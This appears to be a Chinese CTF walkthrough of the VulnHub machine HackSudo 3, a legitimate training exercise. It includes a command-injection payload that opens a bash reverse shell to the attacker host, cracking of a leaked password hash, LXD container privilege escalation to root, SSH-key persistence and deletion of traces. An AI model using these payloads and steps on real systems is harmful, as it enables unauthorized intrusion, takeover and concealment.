靶机下载地址:https://www.vulnhub.com/entry/hacksudo-3,671/

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 HACKSUDO:桥接于 1 92.168.31.1 的网卡,ip 未知

  1. 通过 netdiscover 扫描当前网卡里边有哪些机器
    sudo netdiscover -i eth0 -r 192.168.31.0/24

  1. 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1
2
3
4
5
# shell
cat > myip.txt << EOF
192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
EOF
  1. 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
    sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt
Image

-> 目标机器的 ip 地址: 192.168.31.141

# 端口扫描

sudo nmap -A -p 1-1024 192.168.31.141 - oN /tmp/hacksudo.txt

Image

# 目录爆破并反弹 shell

打开网站:http://192.168.31.141

  1. 对此网站进行目录扫描
    dirsearch -u http://192.168.31.141
Image

http://192.168.31.141/login.php 尝试弱口令,万能密码均失败

  1. 加载比较全面一点的字典,来扩大目录,看是否能得到更多的信息
1
2
gobuster dir -u http://192.168.31.141 -x php,txt,html,bak,zip -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Image

-> http://192.168.31.141/generator.php# 存在 REC 代码执行漏洞

  1. 对 http://192.168.31.141/generator.php# 网站进行攻击

疑似 figlet xx 的命令,构造 figlet xx&ls 可执行更多的 linux 命令

1
2
3
# 在此位置输入反弹shell的命令,并监听端口
nc lvvp 4444
1 & bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'
Image
1
2
3
4
# 使终端窗口变为一个标准的终端
python3 -c 'import pty;pty.spawn("/bin/bash")' - > ctrl+z
stty raw -echo;fg -> enter,enter
export TERM=xterm
Image

# 凯撒加密

翻阅文件,这里找到一个类似于 “凯撒加密” 的文件

提示:凯撒密码是一种位移加密方式,只对 26 个字母进行位移替换加密,规则简单。例如,当偏移量是 2 的时候,所有的字母 A 将被替换成 C,B 变成 D,以此类推。如果您输入的是中英文组合,则只会对英文加密解密

在线进行凯撒解密,偏移为 13 :http://moersima.00cha.net/kaisamima.asp

1
2
3
# 解密后的数据为:
hacksudo locker SSH username:hacksudo
password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62 447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b

# SHA 512 加密

密码又被进行了一层 hash 散列加密
在线 hash 解密:https://crackstation.net/

-> 得到 hacksudo 的用户名:hacksudo 密码:vishal

1
2
# 登陆到此用户
su hacksudo

# LXD 提权

发现了 id 之后有 lxd 补充组,尝试 lxd 提权
lxd 提权指南:https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 在kali机器上下载lxd的文件,并通过scp发送至靶机:
wget https://github.com/saghul/lxd-alpine-builder/archive/refs/heads/master.zip
scp -r parallels@192.168.31.135:~/Desktop/tool/lxd/lxd /tmp/lxd

# 自定义镜像
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-
releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-
alpine
sudo ./build-alpine -a i

# 引入镜像
lxc image import alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root
recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
Image

# 配置 ssh-keygen 维权

  1. 服务器操作
1
2
3
4
5
# 生成私钥和公钥:
ssh-keygen -t rsa

# 保存公钥至认证文件:
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
  1. 客户端操作:
1
2
3
4
5
6
7
8
# 下载私钥: 
scp hacksudo@192.168.31.141:~/.ssh/id_rsa.

# 改变文件权限:
chmod 700 vulnhub_hacksudo

# 免密登陆服务器:
ssh hacksudo@192.168.31.141 -i ~/.ssh/vulnhub_hacksudo
  1. 靶机消除痕迹
1
2
# 销毁服务端的痕迹:
rm -f ~/.ssh/id_rsa && rm -f ~/.ssh/id_rsa.pub
Image

-> 免密登陆 root 失败,但可以免密登陆账户 hacksudo

1
2
3
4
5
# 下次登陆此服务器需要 
ssh hacksudo@192.168.31.141

# 在hacksudo账户内使用如下命令可直接进入root
lxc exec mycontainer /bin/sh
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝